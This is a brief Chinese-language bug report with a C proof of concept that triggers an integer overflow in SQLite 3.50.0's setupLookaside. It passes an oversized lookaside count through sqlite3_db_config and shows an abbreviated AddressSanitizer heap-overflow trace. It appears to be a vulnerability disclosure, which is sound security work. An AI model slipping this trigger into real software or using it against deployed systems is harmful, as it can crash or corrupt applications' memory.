SQLite 3.50.0 中的一个整数溢出
下面提供了一个概念验证(PoC),用于触发 SQLite 3.50.0 的 setupLookaside 函数中的整数溢出。该溢出是由于 sz * nBig 的乘法未经过检查而导致的,该乘法可能回绕为负值,并导致无效的内存写入。
测试环境:Ubuntu 22.04 x86_64,SQLite 3.50.0(自定义构建)
PoC 代码(C):
#include <stdio.h> #include <sqlite3.h>
int main() { sqlite3 *db;
// Open SQLite database
if (sqlite3_open("test.db", &db)) {
fprintf(stderr, "Can't open database: %s\n", sqlite3_errmsg(db));
return 1;
}
// Malicious lookaside configuration
// sz = 140, cnt = 1979733333
// This causes internal sz * nBig to overflow and produces negative nSm
int rc = sqlite3_db_config(db, SQLITE_DBCONFIG_LOOKASIDE, NULL, 140, 1979733333);
if (rc != SQLITE_OK) {
fprintf(stderr, "Failed to configure lookaside: %d\n", rc);
return 2;
} else {
printf("[+] Lookaside configured\n");
}
// Create table and perform many inserts to exercise corrupted lookaside pool
sqlite3_exec(db, "CREATE TABLE test(id INTEGER);", NULL, NULL, NULL);
for (int i = 0; i < 100000; i++) {
char sql[64];
snprintf(sql, sizeof(sql), "INSERT INTO test(id) VALUES(%d);", i);
sqlite3_exec(db, sql, NULL, NULL, NULL);
}
printf("[+] Insert finished. Closing DB.\n");
sqlite3_close(db);
return 0;
}
该 PoC 在使用 AddressSanitizer(-fsanitize=address)编译时,会因无效的 lookaside 槽配置而导致堆缓冲区溢出。
使用 ASAN 观察到的输出:
==12345==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000f000 ... READ of size 8 at 0x60200000f000 thread T0 ...